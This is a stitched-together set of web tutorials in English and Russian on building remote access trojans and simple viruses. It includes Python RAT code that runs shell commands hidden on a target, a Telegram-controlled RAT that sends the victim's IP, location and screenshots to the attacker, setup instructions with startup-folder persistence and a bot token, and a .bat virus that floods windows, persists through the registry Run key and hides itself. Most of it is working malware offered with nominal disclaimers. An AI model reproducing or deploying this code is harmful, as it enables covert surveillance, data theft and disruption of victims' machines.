I will not use this software for those purposes, simply for learning, hope you do the same :D. If you choose to use them to arm someone I am not responsible for that.

How to build a RAT (Remote Access Trojan) for Windows machine targets.

For this project I decided to focus on Windows machine targets. In particular Windows 10. It is relatively easy to improve the solution to work on Linux as probably Unix as well. I decided on Windows 10 because it is more widely used and I have it on my machine (I use Linux as the main OS though). Let’s now dive into the steps I took to create my simple Remote Access Trojan.

Step 1

First I read about what is a RAT and once I understood (more or less) what it was I decided to use Python 3 as the language I was going to develop my RAT with. I chose Python 3 because I am comfortable with it, but I am sure it would work with C, Perl, or other languages.

My thought process was simple, I needed to create a server on the target machine and a client on mine. Once I had this I needed someway to run commands on the target machine. For the purpose of this project I decided to simply run cmd.exe commands. It is possible to improve this RAT (Python 3 code) to perform extra operations, I might do that in the future myself.

Step 2

Once I understood what I had to do, and once I had a programming language to code my RAT with it was a matter of start coding. First I create a basic client-server program in Python 3, as such:

The Server:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket

hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)

HOST = "127.0.0.1" #replace by local_ip if you want to use different machines

PORT = 65432

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        while True:
            data = conn.recv(2048)
            msg = data.decode()
            if(msg == "exit"):
                print("Bye")
                break
            print("Message received: ",msg)
            conn.sendall(data)

The Client:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import socket

HOST = '127.0.0.1'  
PORT = 65432        

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    while(True):
        msg = input("Your command: ")
        s.sendall(str.encode(msg))
        if(msg == "exit"):
            print("Bye")
            break
        data = s.recv(2048)
        print("Received: ", data.decode())

This code of both Server and Client is standard for Socket programming in Python 3. As you can see, in the Server we have on line 10, “with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s“, this line creates a TCP socket (SOCK_STREAM means that the socket is TCP) called “s“. On the following 2 lines, we have s.bind((HOST,PORT)) (line 11) and s.listen() (line 12). In these 2 lines, we have the bind method that simply binds the socket “s” to the HOST and PORT (That were assigned in the lines 6 and 8 respectively), this means that the socket “s” will receive communications on the port 65432, host 127.0.0.1 which, as you probably know is the localhost. The listen method is responsible to wait and listen for incoming communication on the socket. Once communication is received, it is accepted and established in line 13 with the respective client. Afterwards, it is possible to exchange information, in this case we receive information in the server (line 16) and if it is different from “exit” we print it and resend it to the client (line 22).

The Client code is a little easier to understand. We simply create a socket s, like we do in the Server and connect to it on line 7, than it is a matter of sending messages (line 10).

With this code we have an interaction like this one:

Ok, so with this we have the first part, we have a client-server program. The client sends messages to the server that simply prints them to the STDOUT. Now let’s move on to the next step.

Step 3

For this step, we need a way to execute cmd.exe commands with Python 3. To do so I used the Python 3 package: subprocess, as such:

msg = subprocess.check_output(command, shell=True, universal_newlines=True)

This line of code will send the “command” to be executed by the shell and return the output that is stored in the variable msg.

I tested this locally and it works just fine, see the example below with the “dir” command:

Ok, so now it seems we have a way to run simple cmd.exe commands. Let’s now take a look at the code and the final step.

Step 4

The final Python 3 code (that I will be improving and updating on GitHub, stay tuned):

The Server, that is going to run on the targets machine:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket
import subprocess

hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)

HOST = "127.0.0.1"     # replace with local_ip if you do not want to use your localhost, but your real target's IP
print(HOST)
PORT = 65432

def options(command):
    msg = "Command output:n"
    msg += subprocess.check_output(command, shell=True, universal_newlines=True)
    print(msg)
    return msg

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    s.listen()
    conn, addr = s.accept()
    with conn:
        print('Connected by', addr)
        while True:
            data = conn.recv(1024)
            msg = data.decode()
            output = options(msg)
            if(msg == "exit"):
                break  
            conn.sendall(str.encode(output))

The Client, that is going to run on the attackers machine:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import socket

HOST = '127.0.0.1'  # The server's hostname or IP address
PORT = 65432        # The port used by the server

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    while(True):
        msg = input("Your command: ")
        s.sendall(str.encode(msg))
        if(msg == "exit"):
            break
        data = s.recv(2048)
        print('Received:n', data.decode())

As you can see the code is very basic. The ideas was to just be able to exploit the Windows machine to get some information like the name of files, the host name, the network configuration, etc. With this code all of that is possible.

Possible Improvements

To improve the RAT, we can, for example, create an .exe from the server.py file, this way it is possible to just run the .exe in the cmd.exe as a script in the background. I tested a few possibilities and I was able to do that, even with the PowerShell.

To create the .exe from the server.py I used PyInstaller. This tool did the trick just fine! To run the script automatically I used a .cmd script and on it what I do is, I launch a PowerShell with the command:

Start-Process "server.exe" -WorkingDirectory ".distserver" -WindowStyle "Hidden"

This way, the user will simply see a pop-up of a cmd and than it will just close up again. But, on the background the server will be running it I can access it remotely.

Conclusion

The majority of what I did in this project I knew already. In particular, I had programmed with Python 3 Sockets before. I know cmd.exe basic commands. The one thing that was harder was to automate the script to run on the background. It was a very nice personal challenge, and I enjoyed the project very much. To be honest, I am a little scared on how easy it was to just create a RAT. I believe that Windows Defender and maybe anti-virus will spot this and block it (I sincerely hope so!).

I hope you learned something with this, and please do not use this to attack someone, just learning about it is fun! No need to go rogue! 😀

Keep on reading, learning, hacking and stay curious! Cyber security is a huge world! I still have a lot to explore, this was yet another step in my long learning journey!

If you have any questions or want me to clarify something drop a comment down below and I will reply as soon as possible.

The code of the exploit can be found here.


Thank you very much for reading!

Cheers,

MRegra


References:

[1] – From pranks to APTs: How remote access Trojans became a major security threat, By Andrada Fiscutean

[2] – RAT (remote access Trojan), By TechTarget Contributor

[3] – Socket Programming in Python (Guide), By Nathan Jennings


Share this post:

Popular posts

Пишем RAT на Python. 2 Часть.

BLACK CODE

Создание RAT с управлением через Telegram. Часть 2.

BLACK CODE. Авторский контент.

Всем привет! Это канал BLACK CODE. Это вторая часть по созданию «КРЫСЫ» на Python. Сегодня мы уже немного поработаем над самим ратником.

Первая часть

В первой части мы совсем не делали функционал для нашего RAT’ника, а только сделали основу для бота. Сегодня мы уже займёмся функционалом.

А начнём мы с новой функции

Функция new_target()

Эта функция нужна для того, чтобы когда пользователь запустил ратник, то нам бы отправилось сообщение, где предоставляются данные.

Она выглядит так:

def new_target(): # Функция для нового пользователя RATника
 # Назначем переменные заранее, чтобы избежать лишнего кода
 country = '-'
 region = '-'
 city = '-'
 timezone = '-'
 zipcode = '-'
 loc = ''
 target_ip = requests.get('https://ip.42.pl/raw').text # Получение IP нового юзера
 url = 'https://ipinfo.io/' + target_ip + '/json' # Составляем ссылку для информации по IP
 json = requests.get(url).json() # Получаем json из нашей ссылки
 if 'country' in json: # Если в нашем json указана страна, то...
  country = json['country'] # переменной country присваивается значение страны IP
 # Далее всё идёт по такой же схеме
 if 'region' in json:
  region = json['region']
 if 'city' in json:
  city = json['city']
 if 'timezone' in json:
  timezone = json['timezone']
 if 'postal' in json:
  zipcode = json['postal']
 if 'loc' in json: 
  loc = json['loc'] 
 target_date = datetime.today().strftime('%Y/%m/%d') # Получаем дату у пользователя
 target_time = datetime.today().strftime('%H:%M') # Получаем время у пользователя
 # Составляем сообщение для отправки ботом
 new_target_message = 'Target Connected!nIP: ' + target_ip + 'nCountry: ' + country
 new_target_message += 'nRegion: ' + region + 'nCity: ' + city + 'nTimeZone: ' + timezone
 new_target_message += 'nZipCode: ' + zipcode + 'nLocation: ' + loc
 new_target_message += 'nDate: ' + str(target_date) + 'nTime: ' + str(target_time)
 # Бот отправляет нам сообщение
 bot.send_message(user_id, new_target_message)

Вызываем функцию где-то после объявления переменной bot

import telebot
import requests
from datetime import datetime


token = '' # Вписываем Token вашего бота
user_id = '' # Вписываем ваш userid


def new_target(): # Функция для нового пользователя RATника
 # Назначем переменные заранее, чтобы избежать лишнего кода
 country = '-'
 region = '-'
 city = '-'
 timezone = '-'
 zipcode = '-'
 loc = ''
 target_ip = requests.get('https://ip.42.pl/raw').text # Получение IP нового юзера
 url = 'https://ipinfo.io/' + target_ip + '/json' # Составляем ссылку для информации по IP
 json = requests.get(url).json() # Получаем json из нашей ссылки
 if 'country' in json: # Если в нашем json указана страна, то...
  country = json['country'] # переменной country присваивается значение страны IP
 # Далее всё идёт по такой же схеме
 if 'region' in json:
  region = json['region']
 if 'city' in json:
  city = json['city']
 if 'timezone' in json:
  timezone = json['timezone']
 if 'postal' in json:
  zipcode = json['postal']
 if 'loc' in json: 
  loc = json['loc'] 
 target_date = datetime.today().strftime('%Y/%m/%d') # Получаем дату у пользователя
 target_time = datetime.today().strftime('%H:%M') # Получаем время у пользователя
 # Составляем сообщение для отправки ботом
 new_target_message = 'Target Connected!nIP: ' + target_ip + 'nCountry: ' + country
 new_target_message += 'nRegion: ' + region + 'nCity: ' + city + 'nTimeZone: ' + timezone
 new_target_message += 'nZipCode: ' + zipcode + 'nLocation: ' + loc
 new_target_message += 'nDate: ' + str(target_date) + 'nTime: ' + str(target_time)
 # Бот отправляет нам сообщение
 bot.send_message(user_id, new_target_message)


bot = telebot.TeleBot(token) # создаём бота


new_target()


@bot.message_handler(commands=['start']) # если была введена /start
def start_message(message): # создаём функцию для обработки /start, которая принимает сообщение
    if str(message.chat.id) == user_id: # Если id пользователя, который прислал сообщение = вашему id, то ...
        bot.send_message(message.chat.id, 'Hello!nIm BlackRatnnAuthor: @blackcode_adminnChannel: @blackcode_tg') # бот отправляет сообщение этому id
        

bot.polling(none_stop=True, interval=0, timeout=30) # зацикливание бота(без этой команды он не будет работать)

Вот, как это выглядит в боте:

Это сообщение отправилось только при запуске.

Добавим ещё функционала нашему ратнику, теперь он будет делать скриншоты и брать текущий IP с геолокацией.

Придётся установить 1 стороннюю библиотеку:

Termux/Linux/MacOS:

pip3 install Pillow

Windows:

pip install Pillow

Импортируем ещё 2 библиотеки:

import os
from PIL import ImageGrab

Библиотека os — стандартная в питоне, так что устанавливать отдельно её не надо.

А из PIL мы импортируем только модуль ImageGrab, он нам нужен, чтобы делать скриншот экрана.

Теперь функция для обработки текста выглядит вот так:

@bot.message_handler(content_types=['text'])
def text_message(message):
    if str(message.chat.id) == user_id: # Если айди пользователя = айди админа, то..
        if message.text == 'Получить IP': # Если текст = Получить IP, то...
            target_ip = requests.get('https://ip.42.pl/raw').text # Берём IP
            bot.send_message(user_id, target_ip)
            # Берём данные о IP
            json = requests.get('https://ipinfo.io/' + target_ip + '/json').json()
            if 'loc' in json: # Если 'loc' есть в жсоне, то...
                loc = json['loc'] # loc = данные в джсоне
                loc = loc.split(',') # Обрезаем данные по запятой
                # Бот отправляет локацию в виде GoogleMaps
                bot.send_location(user_id, float(loc[0]), float(loc[1]))
        elif message.text == 'Скриншот Экрана':
            # Прописываем путь + название 
            screen_name = 'C:\Windows\' + str(datetime.now()) + '.png'
            # Делаем скриншот
            screen = ImageGrab.grab()
            # Сохраняем скриншот
            screen.save(screen_name)
            # Открываем скриншот, чтобы отправить
            open_screen = open(screen_name, 'rb')
            # Отправляем скриншот
            bot.send_photo(user_id, open_screen)
            # Закрываем открытый файл
            open_screen.close()
            # Удаялем файл из папки
            os.remove(screen_name)
        else: # Если пользователь ввёл что-то другое, то
            # Бот отправляет сообщение, что не понимает
            bot.send_message(user_id, 'Не понимаю тебя, напиши /help'
    else: # Если ботом попытается пользоваться левый человек, то...
        # Бот отправляет сообщение о том, что бот не для него :)
        bot.send_message(message.chat.id, 'Sorry, but that bot not for you:)')

ВНИМАНИЕ! Только не надо копировать код отсюда, у вас будут ошибки, потому что тут плохо с табуляцией и будут ошибки. В конце статьи, будет ссылка на pastebin, где и будет весь код из этого урока.

Всё довольно просто, а если что-то не понятно, то я везде оставил комментарии с разъяснениями.

Тестирование ратника

Тестирование бота

Как видим, всё отлично работает. Скриншот присылается, IP и геолокация тоже.

Функционал пока слабоват, но это только второй урок, по мере новых уроков будем повышать функционал.

Полный код

Не стоит копировать код из Telegraph’а там теряется вся табуляция, могут быть ошибки, а может и вообще не работать.

Так что, вот код, я его выложил на pastebin, с него копировать можно.

КОД НА PASTEBIN ( кликабельно)

На этом всё. Мы создали уже хоть какой-то функционал, но это ещё оочень сыро, в следующих частях будет добавлять функционал нашему RAT’нику. Дальше — больше.

BLACK CODE, чернее только Vantablack.

Вся информация предоставлена исключительно с целью ознакомления. Мы не несём ответственности за ваши действия.

Канал: BLACK CODE

Литература Хакера: @archivehacker

Лучший обменник криптовалюты в Telegram: Chatex

Админ: @blackcode_admin

Windows-Python-RAT

Microsoft Windows Remote Administrator Tool

Language: Python
Coder: Sir.4m1R
Developer: Ahoora Mansouri

Powered By The404Hacking
Digital Security ReSearch Group

Robot for initial Windows-Python-RAT testing

Bot ID: @W_P_RAT_Bot

Token: 586363223:AAHSLdPnAE60avs_T25l_HjzRahtw6PhxDY


Set Bot API-Token

To replace your robot Token in RAT, simply go to Line 35 in the Windows-Python-RAT.py file and place your API-TOKEN instead of TOKEN.

In Line 35:

#Replace Your Bot API-TOKEN
update = Updater("TOKEN")

Example for Replace Token:

Replace Token

StartUP Setting

For startup setting, you must first write the name of your bot before compiling it in the Windows-Python-RAT.py file. For example, before compiling the RAT file, you need to go to line 281 and name it as an YOUR-COMPILED-RAT-NAME.exe.

In Line 281:

os.system('copy YOUR-COMPILED-RAT-NAME.exe "C:Users%username%AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"')
#replace your rat name on 'YOUR-COMPILED-RAT-NAME.exe'

Video Tutorial Setting Up a Startup on a RAT: Watch

StartUP Setting

Python

Windows-Python-RAT requires Python version 2.7.x

Download Python Version 2.7.13: Click Here


Download Python

Python 2.7.14 — 2017-09-16

Download for Windows (.msi)


Install Python

Learning Install Python on Microsoft Windows: Click Here


Module in Python

To use the Windows-Python-RAT, you need to install the following modules in your python.

For automatic installation, you can first open the Setup.py (python Setup.py) file and select the [1] Install Module option.

To install the modules manually, simply enter the commands for installing each module in your CMD or Terminal.

Module List:

  • Upgrade pip

python -m pip install —upgrade pip

  • Python Telegram Bot (Telegram API for Python)

python -m pip install python-telegram-bot

  • Pyttsx (for Play Voice)

python -m pip install pyttsx

  • PyInstaller (for Compile py file)

python -m pip install pyinstaller

  • Autopy (for Take Screenshot)

Download from Telegram Channel or PicoFile and Click on Autopy.exe for Install.

Password autopy-[@The404Hacking].rar File is: @The404Hacking


AutoPy Module in Python

learning Install AutoPy Module on Python 2: Watch

Download from Telegram Channel or PicoFile and Click on Autopy.exe for Install.

Password autopy-[@The404Hacking].rar File is: @The404Hacking


Clone and Run Setup

  • Linux:
git clone ‎https://github.com/The404Hacking/Windows-Python-RAT.git
cd Windows-Python-RAT
python Setup.py
  • Windows:
Download from ‎https://github.com/The404Hacking/Windows-Python-RAT/archive/master.zip
Windows-Python-RAT-master.zip
Extract files.
cd Windows-Python-RAT
python Setup.py

Logo:

Windows-Python-RAT Logo

Setup ScreenShot:

Setup ScreenShot

RAT Control Panel @W_P_RAT_Bot:

RAT Control Panel ScreenShot1

RAT Control Panel ScreenShot2

Download and Clone

Download: Click Here

Clone: git clone https://github.com/The404Hacking/Windows-Python-RAT.git

The404Hacking | Digital UnderGround Team

The404Hacking

Follow us !

The404Hacking — The404Cracking

Instagram — GitHub

YouTube — Aparat

Blog — Email

Крадущийся питон. Создаем простейший троян на Python

Ко­неч­но, при­веден­ные в статье скрип­ты никак не годят­ся для исполь­зования в боевых усло­виях: обфуска­ции в них нет, прин­ципы работы прос­ты как пал­ка, а вре­донос­ные фун­кции отсутс­тву­ют нап­рочь. Тем не менее при некото­рой сме­кал­ке их воз­можно исполь­зовать для нес­ложных пакос­тей — нап­ример, вырубить чей‑нибудь компь­ютер в клас­се (или в офи­се, если в клас­се ты не наиг­рался).

Теория

Итак, что вооб­ще такое тро­ян? Вирус — это прог­рамма, глав­ная задача которой — самоко­пиро­вание. Червь активно рас­простра­няет­ся по сети (типич­ный при­мер — «Петя» и WannaCry), а тро­ян — скры­тая вре­донос­ная прог­рамма, которая мас­киру­ется под «хороший» софт.

Ло­гика подоб­ного зараже­ния в том, что поль­зователь сам ска­чает себе вре­донос на компь­ютер (нап­ример, под видом кряк­нутой прог­раммы), сам отклю­чит защит­ные механиз­мы (ведь прог­рамма выг­лядит хорошей) и захочет оста­вить надол­го. Хакеры и тут не дрем­лют, так что в новос­тях то и дело мель­кают сооб­щения о новых жер­твах пират­ско­го ПО и о шиф­роваль­щиках, поража­ющих любите­лей халявы. Но мы‑то зна­ем, что бес­плат­ный сыр быва­ет толь­ко в мусор­ке, и сегод­ня научим­ся очень прос­то начинять тот самый сыр чем‑то не впол­не ожи­даемым.

warning

Вся информа­ция пре­дос­тавле­на исклю­читель­но в озна­коми­тель­ных целях. Ни автор, ни редак­ция не несут ответс­твен­ности за любой воз­можный вред, при­чинен­ный матери­ала­ми дан­ной статьи. Несан­кци­они­рован­ный дос­туп к информа­ции и наруше­ние работы сис­тем могут прес­ледовать­ся по закону. Пом­ни об этом.

Определяем IP

Сна­чала нам (то есть нашему тро­яну) нуж­но опре­делить­ся, где он ока­зал­ся. Важ­ная часть тво­ей информа­ции — IP-адрес, по которо­му с заражен­ной машиной мож­но будет соеди­нить­ся в даль­нейшем.

Нач­нем писать код. Сра­зу импорти­руем биб­лиоте­ки:

Обе биб­лиоте­ки не пос­тавля­ются с Python, поэто­му, если они у тебя отсутс­тву­ют, их нуж­но уста­новить коман­дой pip .

Ес­ли ты видишь ошиб­ку, что у тебя отсутс­тву­ет pip, сна­чала нуж­но уста­новить его с сай­та pypi.org. Любопыт­но, что рекомен­дуемый спо­соб уста­нов­ки pip — через pip, что, конеч­но, очень полез­но, ког­да его нет.

Код получе­ния внеш­него и внут­ренне­го адре­сов будет таким. Обра­ти вни­мание, что, если у жер­твы нес­коль­ко сетевых интерфей­сов (нап­ример, Wi-Fi и Ethernet одновре­мен­но), этот код может вес­ти себя неп­равиль­но.

Ес­ли с локаль­ным адре­сом все более‑менее прос­то — находим имя устрой­ства в сети и смот­рим IP по име­ни устрой­ства, — то вот с пуб­личным IP все нем­ного слож­нее.

Я выб­рал сайт api. ipify. org , так как на выходе нам выда­ется толь­ко одна стро­ка — наш внеш­ний IP. Из связ­ки пуб­личный + локаль­ный IP мы получим поч­ти точ­ный адрес устрой­ства.

Вы­вес­ти информа­цию еще про­ще:

Ни­ког­да не встре­чал конс­трук­ции типа print( f’ ‘) ? Бук­ва f озна­чает фор­матиро­ван­ные стро­ковые литера­лы. Прос­тыми сло­вами — прог­рам­мные встав­ки пря­мо в стро­ку.

Стро­ковые литера­лы не толь­ко хорошо смот­рятся в коде, но и помога­ют избе­гать оши­бок типа сло­жения строк и чисел (Python — это тебе на JavaScript!).

Вирус удалённого управления компьютером. Многофункциональный RAT на компьютер с управлением через Telegram.

На портале GitHub был опубликован исходный код нового трояна для удаленного доступа (RAT), использующего протокол Telegram для хищения информации с инфицированных устройств. RATAttack устанавливает зашифрованный канал между оператором и зараженным устройством с помощью протокола Telegram. Как утверждает разработчик инструмента, основная проблема большинства существующих на сегодняшний день RAT заключается в том, что они не используют шифрование и их операторы вынуждены настраивать переадресацию портов на устройстве жертвы для управления инфицированным компьютером.

Вирусописатель решил исправить это упущение и представил собственный инструмент под названием RATAttack, который устанавливает зашифрованный канал между оператором и жертвой, используя протокол Telegram. Прежде, чем начинать атаку, владелец RATAttack должен создать бот Telegram и встроить его токен (ключ) в конфигурационный файл трояна. Таким образом все инфицированные устройства будут подключаться к каналу бота и атакующий получит возможность отправлять простые команды для управления RATAttack на зараженном компьютере.

Вот список, что может данный ратник, а теперь пойдём дальше

Как установить?

Что необходимо для ратника:Python 3.8(32 bit)+ необходимые модули, бот в телеграме, его ключ и ваш ID . Установив питон,скачав архив, открываем файл RAT через IDLE например

Видим данные строки

в token мы пропишем токен бота, а в adm — ваш ID телеграма.

Но сейчас надо поставить модули.

открываем консоль и прописываем:

pip3 install python-opencv

pip3 install pytelegrambotapi

pip3 install pypiwin32

pip3 install pyaudio

Создаем бота в телеграме у @BotFather, после чего находим API

копируем длинную строчку без кавычек.

вставляем в RAT.py в строку token.

У бота @userinfobot узнаём свой ID. Тоже вставляем в RAT.py в строку adm

После чего,нажимаем Run Module(F5)

Бот прислал нам оповещение

Троян может действовать в качестве кейлоггера, собирать данные об установленной версии ОС Windows, процессоре и т.д., IP-адресе и приблизительном местоположении хоста, отображать сообщения, загружать и выгружать различные файлы, делать скриншоты, исполнять любые файлы на целевом компьютере, делать снимки с web-камеры, копировать, перемещать и удалять файлы, а также запускать процесс самоуничтожения.

По данным ресурса BleepingComputer, разработчик RATAttack не рекламировал троян на каких-либо хакерских форумах и опубликовал код только на GitHub. В настоящее время он уже удален с портала.

Мистический «отказ от ответственности» будет держать плохих ребят подальше

Как и большинство «темных» разработчиков, которые создают RAT с двойным назначением, разработчик назвал свое творение Remote Administration Tool (Инструмент удаленного администрирования). Даже если часть функций, над которыми он в данный момент работает, обычно обнаруживается во вредоносных троянах. Они не являются легальными инструментами удаленного администрирования, такими как Teamviewer и другие.

Разработчик также не забыл исполнить старый номер, и обязательный «отказ от ответственности» в конце описания RATAttack, надеясь избежать последствий, к которым приведут злоумышленники, используя его код, который находится в свободном доступе для слежки за супругами, взлома компаний, или держать диссидентов под наблюдением. Предположительно, этот инструмент должен использоваться только в авторизированных системах. Любое неавторизированное использование данного инструмента без разрешения является нелегальным. Вопрос ПО с двойным назначением, используемым для легальных и преступных целей, недавно обсуждался в новостях.

На гитхабе уже успели сделать форки. Пользователь @mvrozanti даже начал расширение функционала.

Как создать, написать компьютерный вирус?

как создать вирус

Создание самых простых вирусов не требует наличия специальных сред для разработки программ. И особых знаний, кстати, тоже. Создать вирусы довольно просто, если использовать для этого командную строку. Для этого нужно немного знать синтаксис командной строки и уметь создавать .bat-файлы.

Что такое .bat-файл и как его создать?

Если очень поверхностно, то это файлы с расширением .bat. Такие файлы несут в себе команды, которые должны быть выполнены командным интерпретатором Windows. Все те команды, которые можно выполнить в окне командной строки, можно вписать в .bat-файл и запустить. Результат будет одинаковым.

Чтобы создать .bat-вирус, нам нужен обычный текстовый редактор. В идеале подойдет для этих целей Блокнот. Создав и открыв новый текстовый документ, Вам нужно вписать туда тот код(команды), которые он должен выполнить. После этого, Вам нужно с помощью меню Сохранить как сохранить этот файл, задав ему какое-либо имя с расширением .bat и указав тип файла Все файлы.

Создаем простейший вирус

В данной статье мы рассмотрим создание вируса, который после своего запуска будет бесконечно открывать окно командной строки. Бесконечно и очень быстро открывающиеся окна командной строки не дадут пользователю спокойно работать. Закрыть их всех не успеет никто и очень скоро они забьют оперативную память компьютера, что в свою очередь сильно затормозит работу компьютера, вплоть до полного зависания. Выглядеть это будет приблизительно так:

Вирус, который бесконечно открывает окно командной строки

Вдобавок, мы закинем наш вирус в автозагрузку, что обеспечит автоматический запуск вируса вместе с операционной системой.

Код создаваемого вируса

Сколько программистов, столько разных решений можно придумать для каждой задачи. Я приведу один из своих методов решения такой задачи.

[code]md c:papka
echo start c:papkavirus.bat>c:papkavirus.bat
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionRun /v virus /d c:papkavirus.bat
attrib +r +h +s c:papka
attrib +r +h +s c:papkavirus.bat
start c:papkavirus.bat
del %0[/code]

А теперь разберем сам код. Первая строчка создает папку с именем papka в корне диска C:/. Такой адрес приведен только для примера. Использование же корня папки C:/ не совсем хороший вариант для вируса. Если Вы хотите обеспечить хорошую выживаемость Вашему вирусу, лучше всего спрятать его подальше. Первую команду можно даже пропустить, если Вы закинете сам вирус в уже созданную директорию.

Вторая строчка создает файл c:papkavirus.bat и, с помощью команды echo, вписывает в него команду start c:papkavirus.bat. Тут нужно знать, что после знака > указывается место вывода приведенной команды. Тут Вам нужно познакомится: c:papkavirus.bat и есть основное тело вируса. Созданный нами .bat-файл с кодом, который мы сейчас разбираем, является всего лишь установщиком нашего основного вируса. Вы можете использовать другое название и другое местоположение для вируса.

Третья строчка закидывает созданный нами во второй строчке тело вируса в автозагрузку. Для этого используется пользовательская ветка реестра, так как к ней у пользователя всегда есть доступ. А вот использовать автозагрузку компьютера не безопасно, так как пользователь может не иметь административного доступа, что вызовет ненужную ошибку.

Четвертая и пятая строка кода изменяют атрибуты вируса и папки, где хранится вирус. Данными командами, а для этого используется команда attrib, мы добавляем атрибуты Только чтение, Скрытый и Системный и для папки, и для вируса. Использование атрибута r(Только чтение) необязательно. А вот атрибуты Скрытый и Системный хорошо защитят созданный нами вирус. Если не верите, то почитайте статью про вирус, который превращает папки на флешке в ярлыки. Он использует именно эту технологию.

6-ая строчка кода запускает наш вирус. Вы можете пропустить этот пункт, если хотите, чтобы первый запуск вируса произошел только после перезагрузки компьютера.

И, наконец-то, последняя, 7-ая строчка удаляет данный .bat-вирус. Это полезно, так как по этому .bat-файлу можно спокойно выйти на созданный нами вирус и удалить его.

Смысл созданного вируса

Смысл вируса, который уместился в эти 7 строк — создать основной вирус, защитить его и обеспечить его постоянную работу. А так же подмести свои следы. А что делает основной вирус? После запуска основного вируса, он выполняет ту команду, которая вписана в нее. А это команда, в свою очередь, запускает наш вирус, который опять-таки снова запускает самого себя. И так до бесконечности.

Как бороться с такими вирусами?

Во-первых, начало борьбы с данным вирусом начнется после того, как он запуститься. Очень скоро вирус заполнит своими копиями оперативную память и Вы даже мышкой шевельнуть не сможете. Поэтому, такой спектакль нужно пресекать сразу. Для этого прекрасно подойдет кнопка Break на клавиатуре. Жмите ее столько, сколько понадобится, чтобы новые копии перестали создаваться. На клавиатурах без кнопки Break, может помочь сочетание клавиш Ctrl+C.

Как удалить такой вирус?

Вы можете найти и удалить вирус через его запись в автозагрузке(подробнее по ссылке). А так же Вы можете выйти на вирус по команде, которая будет высвечиваться в окне командного интерпретатора. Естественно, если Вы сможете добраться до скрытого и системного файла. Вот таким образом происходит создание простого вируса.

Понравилась статья? Поделить с друзьями:
  • Как написать расширенный синопсис
  • Как написать расширенную новость
  • Как написать расширенную заметку
  • Как написать расширение файла
  • Как написать расширение для яндекс браузера